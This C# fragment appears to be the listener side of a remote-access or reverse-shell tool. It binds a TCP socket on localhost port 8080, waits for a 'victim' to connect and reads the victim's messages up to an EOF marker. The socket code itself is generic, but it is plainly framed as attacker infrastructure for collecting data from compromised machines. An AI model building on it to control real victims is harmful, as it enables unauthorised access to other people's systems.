private void readVictimMessages(listenerCallback callback)
{
try
{
Byte[] data = new Byte[256];
String message = "";
int recByteLength = victimSocket.Receive(data);
message += Encoding.ASCII.GetString(data, 0, recByteLength);
// until victim send eof flag
if (message.IndexOf("<EOF>\n") > -1)
{
message = Regex.Replace(message, "<EOF>\n", "");
callback(message, victimSocket);
message = "";
}
}
catch (SocketException e)
{
// at the end we close the victim socket
victimSocket.Shutdown(SocketShutdown.Both);
victimSocket.Close();
addLog("\nVictim disconnected with an execption", "ServerLog");
}
}
public void startListening(listenerCallback onMessageCallback, delAddLog addLog)
{
this.addLog = addLog;
IPAddress ipAddr = IPAddress.Parse("127.0.0.1");
IPEndPoint localEndPoint = new IPEndPoint(ipAddr, 8080);
// Initialize The Server Socket
ListenerSocket = new Socket(ipAddr.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
ListenerSocket.Bind(localEndPoint);
addLog("", "ServerLog");
// Start Listening
addLog("Server now is listenning on 8080.", "ServerLog");
ListenerSocket.Listen(10);
addLog("Waiting for victim to connect...", "ServerLog");
victimSocket = ListenerSocket.Accept();
while (true)
{
if (victimSocket.Connected)
{
readVictimMessages(onMessageCallback);
}
else
{
addLog("", "ServerLog");
addLog("Waiting for victim to connect...", "ServerLog");
victimSocket = ListenerSocket.Accept();
}
}
}